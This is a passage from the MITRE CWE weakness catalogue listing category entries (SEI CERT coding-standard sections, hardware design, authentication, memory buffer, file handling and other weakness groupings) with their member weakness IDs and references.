HasMember	B	273	Improper Check for Dropped Privileges	1154	601
HasMember	B	363	Race Condition Enabling Link Following	1154	801
HasMember	B	391	Unchecked Error Condition	1154	850
HasMember	C	667	Improper Locking	1154	1299
HasMember	C	696	Incorrect Behavior Order	1154	1348

References

[REF-614]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 50. POSIX (POS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152405 >.

[REF-994]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 50. POSIX (POS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151931 >.

Category-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)

Category ID : 1172 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Microsoft Windows (WIN) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	V	590	Free of Memory not on the Heap	1154	1179
HasMember	V	762	Mismatched Memory Management Routines	1154	1405

References

[REF-617]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 51. Microsoft Windows (WIN)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151925 >.

[REF-995]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 51. Microsoft Windows (WIN)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151933 >.

Category-1175: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON)

Category ID : 1175 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051

References

[REF-1007]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 18. Concurrency (CON)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487352 >.

Category-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)

Category ID : 1179 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Validation and Data Sanitization (IDS) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1012]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 01. Input Validation and Data Sanitization (IDS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890533 >.

[REF-1020]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 01. Input Validation and Data Sanitization (IDS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890568 >.

Category-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)

Category ID : 1180 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1013]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 02. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890509 >.

[REF-1021]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 02. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890569 >.

Category-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)

Category ID : 1181 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1014]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 03. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890504 >.

[REF-1022]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 03. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890559 >.

Category-1182: SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)

Category ID : 1182 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1015]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 04. Integers (INT)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890508 >.

[REF-1023]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 04. Integers (INT)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890560 >.

Category-1183: SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR)

Category ID : 1183 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Strings (STR) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1016]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 05. Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890507 >.

[REF-1024]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 05. Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890563 >.

Category-1184: SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP)

Category ID : 1184 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Object-Oriented Programming (OOP) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1017]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 06. Object-Oriented Programming (OOP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890501 >.

[REF-1025]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 06. Object-Oriented Programming (OOP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890561 >.

Category-1185: SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)

Category ID : 1185 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the File Input and Output (FIO) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1018]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 07. File Input and Output (FIO) ". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890499 >.

[REF-1026]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rec. 07. File Input and Output (FIO)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890496 >.

Category-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)

Category ID : 1186 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Perl Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1178	Weaknesses Addressed by the SEI CERT Perl Coding Standard	1178	2055

References

[REF-1019]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890497 >.

[REF-1027]The Software Engineering Institute. "SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890502 >.

Category-1195: Manufacturing and Life Cycle Management Concerns

Category ID : 1195 **Status:** Draft

Summary

Weaknesses in this category are root-caused to defects that arise in the semiconductor-manufacturing process or during the life cycle and supply chain.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056

Nature	Type	ID	Name	V	Page
HasMember	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1194	1773
HasMember	B	1266	Improper Scrubbing of Sensitive Data from Decommissioned Device	1194	1805
HasMember	B	1269	Product Released in Non-Release Configuration	1194	1810
HasMember	B	1273	Device Unlock Credential Sharing	1194	1818
HasMember	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1194	1827

Category-1196: Security Flow Issues

Category ID : 1196 **Status:** Draft

Summary

Weaknesses in this category are related to improper design of full-system security flows, including but not limited to secure boot, secure update, and hardware-device attestation.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1190	DMA Device Enabled Too Early in Boot Phase	1194	1728
HasMember	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control	1194	1732
HasMember	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1194	1800
HasMember	B	1274	Insufficient Protections on the Volatile Memory Containing Boot Code	1194	1820
HasMember	B	1283	Mutable Attestation or Measurement Reporting Data	1194	1836

Category-1197: Integration Issues

Category ID : 1197 **Status:** Draft

Summary

Weaknesses in this category are those that arise due to integration of multiple hardware Intellectual Property (IP) cores from third parties, or from the prior generation of products into a common System-on-Chip (SoC) or hardware platform.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1276	Hardware Block Incorrectly Connected to Larger System	1194	1823

Category-1198: Privilege Separation and Access Control Issues

Category ID : 1198 **Status:** Draft

Summary

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	276	Incorrect Default Permissions	1194	606
HasMember	B	1189	Improper Isolation of Shared Resources on System-on-Chip (SoC)	1194	1726
HasMember	B	1192	System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers	1194	1731
HasMember	B	1220	Insufficient Granularity of Access Control	1194	1735
HasMember	B	1242	Inclusion of Undocumented Features or Chicken Bits	1194	1762
HasMember	B	1259	Improper Protection of Security Identifiers	1194	1790
HasMember	B	1260	Improper Handling of Overlap Between Protected Memory Ranges	1194	1792
HasMember	B	1262	Register Interface Allows Software Access to Sensitive Data or Security Settings	1194	1797
HasMember	B	1267	Policy Uses Obsolete Encoding	1194	1806
HasMember	B	1268	Agents Included in Control Policy are not Contained in Less-Privileged Policy	1194	1808
HasMember	B	1270	Generation of Incorrect Security Identifiers	1194	1813
HasMember	B	1280	Access Control Check Implemented After Asset is Accessed	1194	1831

Category-1199: General Circuit and Logic Design Concerns

Category ID : 1199 **Status:** Draft

Summary

Weaknesses in this category are related to hardware-circuit design and logic (e.g., CMOS transistors, finite state machines, and registers) as well as issues related to hardware description languages such as System Verilog and VHDL.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1209	Failure to Disable Reserved Bits	1194	1733
HasMember	B	1221	Incorrect Register Defaults or Module Parameters	1194	1737
HasMember	B	1223	Race Condition for Write-Once Attributes	1194	1741
HasMember	B	1224	Improper Restriction of Write-Once Bit Fields	1194	1743
HasMember	B	1231	Improper Implementation of Lock Protection Registers	1194	1747
HasMember	B	1232	Improper Lock Behavior After Power State Transition	1194	1748
HasMember	B	1233	Improper Hardware Lock Protection for Security Sensitive Controls	1194	1750
HasMember	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1194	1751
HasMember	B	1245	Improper Finite State Machines (FSMs) in Hardware Logic	1194	1767

Nature	Type	ID	Name	V	Page
HasMember	B	1253	Incorrect Selection of Fuse Values	1194	1782
HasMember	B	1254	Incorrect Comparison Logic Granularity	1194	1783
HasMember	B	1259	Improper Protection of Security Identifiers	1194	1790
HasMember	B	1261	Improper Handling of Single Event Upsets	1194	1795
HasMember	B	1270	Generation of Incorrect Security Identifiers	1194	1813

Category-1201: Core and Compute Issues

Category ID : 1201 **Status:** Draft

Summary

Weaknesses in this category are typically associated with CPUs, Graphics, Vision, AI, FPGA, and microcontrollers.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations	1194	1780
HasMember	B	1281	Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire)	1194	1833

Category-1202: Memory and Storage Issues

Category ID : 1202 **Status:** Draft

Summary

Weaknesses in this category are typically associated with memory (e.g., DRAM, SRAM) and storage technologies (e.g., NAND Flash, OTP, EEPROM, and eMMC).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	1194	517
HasMember	B	1246	Improper Write Handling in Limited-write Non-Volatile Memories	1194	1769
HasMember	B	1251	Mirrored Regions with Different Values	1194	1778
HasMember	B	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1194	1787
HasMember	B	1282	Assumed-Immutable Data Stored in Writable Memory	1194	1835

Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems

Category ID : 1203 **Status:** Draft

Summary

Weaknesses in this category are related to hardware security problems that apply to peripheral devices, IO interfaces, on-chip interconnects, network-on-chip (NoC), and buses. For example, this category includes issues related to design of hardware interconnect and/or protocols such as PCIe, USB, SMBUS, general-purpose IO pins, and user-input peripherals such as mouse and keyboard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056

Category-1205: Security Primitives and Cryptography Issues

Category ID : 1205 **Status:** Draft

Summary

Weaknesses in this category are related to hardware implementations of cryptographic protocols and other hardware-security primitives such as physical unclonable functions (PUFs) and random number generators (RNGs).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	203	Observable Discrepancy	1194	478
HasMember	B	325	Missing Required Cryptographic Step	1194	717
HasMember	B	1240	Use of a Risky Cryptographic Primitive	1194	1759
HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator	1194	1761
HasMember	B	1279	Cryptographic Primitives used without Successful Self-Test	1194	1829

Category-1206: Power, Clock, and Reset Concerns

Category ID : 1206 **Status:** Draft

Summary

Weaknesses in this category are related to system power, voltage, current, temperature, clocks, system state saving/restoring, and resets at the platform and SoC level.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1232	Improper Lock Behavior After Power State Transition	1194	1748
HasMember	B	1247	Missing Protection Against Voltage and Clock Glitches	1194	1770
HasMember	B	1256	Hardware Features Enable Physical Attacks from Software	1194	1785
HasMember	C	1271	Missing Known Value on Reset for Registers Holding Security Settings	1194	1814

Category-1207: Debug and Test Problems

Category ID : 1207 **Status:** Draft

Summary

Weaknesses in this category are related to hardware debug and test interfaces such as JTAG and scan chain.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	1191	Exposed Chip Debug and or Test Interface With Insufficient Access Control	1194	1729
HasMember	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1194	1751
HasMember	B	1243	Exposure of Security-Sensitive Fuse Values During Debug	1194	1764
HasMember	B	1244	Improper Authorization on Physical Debug and Test Interfaces	1194	1765
HasMember	B	1258	Sensitive Information Uncleared During Hardware Debug Flows	1194	1789
HasMember	B	1272	Debug/Power State Transitions Leak Information	1194	1816

Category-1208: Cross-Cutting Problems

Category ID : 1208 **Status:** Draft

Summary

Weaknesses in this category can arise in multiple areas of hardware design or can apply to a wide cross-section of components.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	2056
HasMember	B	440	Expected Behavior Violation	1194	949
HasMember	B	1053	Missing Documentation for Design	1194	1655
HasMember	C	1263	Insufficient Physical Protection Mechanism	1194	1798
HasMember	B	1277	Firmware Not Updateable	1194	1825
HasMember	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1194	1827

Category-1210: Audit / Logging Errors

Category ID : 1210 **Status:** Draft

Summary

Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	117	Improper Output Neutralization for Logs	699	266
HasMember	B	222	Truncation of Security-relevant Information	699	512
HasMember	B	223	Omission of Security-relevant Information	699	513
HasMember	B	224	Obscured Security-relevant Information by Alternate Name	699	515
HasMember	B	532	Insertion of Sensitive Information into Log File	699	1104
HasMember	B	778	Insufficient Logging	699	1444
HasMember	B	779	Logging of Excessive Data	699	1446

Category-1211: Authentication Errors

Category ID : 1211 **Status:** Draft

Summary

Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	699	636
HasMember	B	290	Authentication Bypass by Spoofing	699	640
HasMember	B	294	Authentication Bypass by Capture-replay	699	647
HasMember	B	295	Improper Certificate Validation	699	648
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	699	653
HasMember	B	299	Improper Check for Certificate Revocation	699	661
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	699	670
HasMember	B	304	Missing Critical Step in Authentication	699	671
HasMember	B	305	Authentication Bypass by Primary Weakness	699	673
HasMember	B	306	Missing Authentication for Critical Function	699	674
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	699	678
HasMember	B	308	Use of Single-factor Authentication	699	682
HasMember	B	309	Use of Password System for Primary Authentication	699	684
HasMember	B	322	Key Exchange without Entity Authentication	699	711
HasMember	B	603	Use of Client-Side Authentication	699	1204
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	699	1267
HasMember	B	804	Guessable CAPTCHA	699	1495
HasMember	B	836	Use of Password Hash Instead of Password for Authentication	699	1549

Category-1212: Authorization Errors

Category ID : 1212 **Status:** Draft

Summary

Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	425	Direct Request ('Forced Browsing')	699	915
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	699	1124
HasMember	B	612	Improper Authorization of Index Containing Sensitive Information	699	1217
HasMember	B	639	Authorization Bypass Through User-Controlled Key	699	1251
HasMember	B	842	Placement of User into Incorrect Group	699	1562
HasMember	B	939	Improper Authorization in Handler for Custom URL Scheme	699	1614
HasMember	B	1220	Insufficient Granularity of Access Control	699	1735

Category-1213: Random Number Issues

Category ID : 1213 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's random number generation.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	331	Insufficient Entropy	699	736
HasMember	B	334	Small Space of Random Values	699	742
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	699	744
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	699	748
HasMember	B	341	Predictable from Observable State	699	753
HasMember	B	342	Predictable Exact Value from Previous Values	699	755
HasMember	B	343	Predictable Value Range from Previous Values	699	756
HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator	699	1761

Category-1214: Data Integrity Issues

Category ID : 1214 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource

files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	322	Key Exchange without Entity Authentication	699	711
HasMember	B	346	Origin Validation Error	699	760
HasMember	B	347	Improper Verification of Cryptographic Signature	699	764
HasMember	B	348	Use of Less Trusted Source	699	765
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	699	768
HasMember	B	351	Insufficient Type Distinction	699	772
HasMember	B	353	Missing Support for Integrity Check	699	780
HasMember	B	354	Improper Validation of Integrity Check Value	699	782
HasMember	B	494	Download of Code Without Integrity Check	699	1055
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	699	1140
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	699	1273
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	699	1532
HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1606

Category-1215: Data Validation Issues

Category ID : 1215 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's components for input validation, output validation, or other kinds of validation. Validation is a frequently-used technique for ensuring that data conforms to expectations before it is further processed as input or output. There are many varieties of validation (see CWE-20, which is just for input validation). Validation is distinct from other techniques that attempt to modify data before processing it, although developers may consider all attempts to product "safe" inputs or outputs as some kind of validation. Regardless, validation is a powerful tool that is often used to minimize malformed data from entering the system, or indirectly avoid code injection or other potentially-malicious patterns when generating output. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	112	Missing XML Validation	699	249
HasMember	V	129	Improper Validation of Array Index	699	312
HasMember	B	179	Incorrect Behavior Order: Early Validation	699	414
HasMember	B	183	Permissive List of Allowed Inputs	699	424
HasMember	B	184	Incomplete List of Disallowed Inputs	699	425
HasMember	B	606	Unchecked Input for Loop Condition	699	1207
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1256

Nature	Type	ID	Name	V	Page
HasMember	B	1173	Improper Use of Validation Framework	699	1722

Notes

Relationship

CWE-20 (Improper Input Validation) is not included in this category because it is a Class level, and this category focuses more on Base level weaknesses. Also note that other kinds of weaknesses besides improper validation are included as members of this category.

Category-1216: Lockout Mechanism Errors

Category ID : 1216 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	699	1267

Category-1217: User Session Errors

Category ID : 1217 **Status:** Draft

Summary

Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	488	Exposure of Data Element to Wrong Session	699	1040
HasMember	B	613	Insufficient Session Expiration	699	1219
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1559

Category-1218: Memory Buffer Errors

Category ID : 1218 **Status:** Draft

Summary

Weaknesses in this category are related to the handling of memory buffers within a software system.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	699	280
HasMember	B	123	Write-what-where Condition	699	296
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	699	298
HasMember	B	125	Out-of-bounds Read	699	302
HasMember	B	131	Incorrect Calculation of Buffer Size	699	325
HasMember	B	786	Access of Memory Location Before Start of Buffer	699	1461
HasMember	B	787	Out-of-bounds Write	699	1463
HasMember	B	788	Access of Memory Location After End of Buffer	699	1470
HasMember	B	805	Buffer Access with Incorrect Length Value	699	1497

Category-1219: File Handling Issues

Category ID : 1219 **Status:** Draft

Summary

Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	23	Relative Path Traversal	699	42
HasMember	B	36	Absolute Path Traversal	699	69
HasMember	B	41	Improper Resolution of Path Equivalence	699	81
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	699	106
HasMember	B	66	Improper Handling of File Names that Identify Virtual Resources	699	118
HasMember	B	378	Creation of Temporary File With Insecure Permissions	699	832
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	699	834
HasMember	B	426	Untrusted Search Path	699	917
HasMember	B	427	Uncontrolled Search Path Element	699	922
HasMember	B	428	Unquoted Search Path or Element	699	927

Category-1225: Documentation Issues

Category ID : 1225 **Status:** Draft

Summary

Weaknesses in this category are related to the documentation provide to support a product.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	1053	Missing Documentation for Design	699	1655
HasMember	B	1068	Inconsistency Between Implementation and Documented Design	699	1670
HasMember	B	1110	Incomplete Design Documentation	699	1707
HasMember	B	1111	Incomplete I/O Documentation	699	1708
HasMember	B	1112	Incomplete Documentation of Program Execution	699	1709
HasMember	B	1118	Insufficient Documentation of Error Handling Techniques	699	1713

Category-1226: Complexity Issues

Category ID : 1226 **Status:** Draft

Summary

Weaknesses in this category are associated with things being overly complex.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	699	1645
HasMember	B	1047	Modules with Circular Dependencies	699	1649
HasMember	B	1055	Multiple Inheritance from Concrete Classes	699	1657
HasMember	B	1056	Invokable Control Element with Variadic Parameters	699	1658
HasMember	B	1060	Excessive Number of Inefficient Server-Side Data Accesses	699	1662
HasMember	B	1064	Invokable Control Element with Signature Containing an Excessive Number of Parameters	699	1666
HasMember	B	1074	Class with Excessively Deep Inheritance	699	1675
HasMember	B	1075	Unconditional Control Flow Transfer outside of Switch Block	699	1676
HasMember	B	1080	Source Code File with Excessive Number of Lines of Code	699	1681
HasMember	B	1086	Class with Excessive Number of Child Classes	699	1686
HasMember	B	1095	Loop Condition Value Update within the Loop	699	1695
HasMember	B	1119	Excessive Use of Unconditional Branching	699	1714
HasMember	B	1121	Excessive McCabe Cyclomatic Complexity	699	1716
HasMember	B	1122	Excessive Halstead Complexity	699	1717
HasMember	B	1123	Excessive Use of Self-Modifying Code	699	1717
HasMember	B	1124	Excessively Deep Nesting	699	1718
HasMember	B	1125	Excessive Attack Surface	699	1719

Category-1227: Encapsulation Issues

Category ID : 1227 **Status:** Draft

Summary

Weaknesses in this category are related to issues surrounding the bundling of data with the methods intended to operate on that data.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	1054	Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer	699	1656
HasMember	B	1057	Data Access Operations Outside of Expected Data Manager Component	699	1659
HasMember	B	1062	Parent Class with References to Child Class	699	1664
HasMember	B	1083	Data Access from Outside Expected Data Manager Component	699	1683
HasMember	B	1090	Method Containing Access of a Member Element from Another Class	699	1690
HasMember	B	1100	Insufficient Isolation of System-Dependent Functions	699	1699
HasMember	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	699	1703

Category-1228: API / Function Errors

Category ID : 1228 **Status:** Draft

Summary

Weaknesses in this category are related to the use of built-in functions or external APIs.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2025
HasMember	B	242	Use of Inherently Dangerous Function	699	536
HasMember	B	474	Use of Function with Inconsistent Implementations	699	1006
HasMember	B	475	Undefined Behavior for Input to API	699	1008
HasMember	B	477	Use of Obsolete Function	699	1015
HasMember	B	676	Use of Potentially Dangerous Function	699	1317
HasMember	B	695	Use of Low-Level Functionality	699	1347
HasMember	B	749	Exposed Dangerous Method or Function	699	1377

Category-1237: SFP Primary Cluster: Faulty Resource Release

Category ID : 1237 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Release cluster (SFP37).

Membership

Nature	Type	ID	Name	V	Page
HasMember	V	415	Double Free	888	901
HasMember	V	762	Mismatched Memory Management Routines	888	1405

Nature	Type	ID	Name	V	Page
HasMember	B	763	Release of Invalid Pointer or Reference	888	1408

Category-1238: SFP Primary Cluster: Failure to Release Memory

Category ID : 1238 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Memory cluster (SFP38).

Membership

Nature	Type	ID	Name	V	Page
HasMember	V	401	Missing Release of Memory after Effective Lifetime	888	872

Views

View-604: Deprecated Entries

View ID : 604 **Status:** Draft
Type : Implicit

Objective

CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

Filter

/Weakness_Catalog/*/*[@Status='Deprecated']

Membership

Nature	Type	ID	Name	Page
HasMember	V	604	Deprecated Entries	2020

Metrics

	CWEs in this view
Weaknesses	23
Categories	35
Views	3
Total	61

View-629: Weaknesses in OWASP Top Ten (2007)

View ID : 629 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

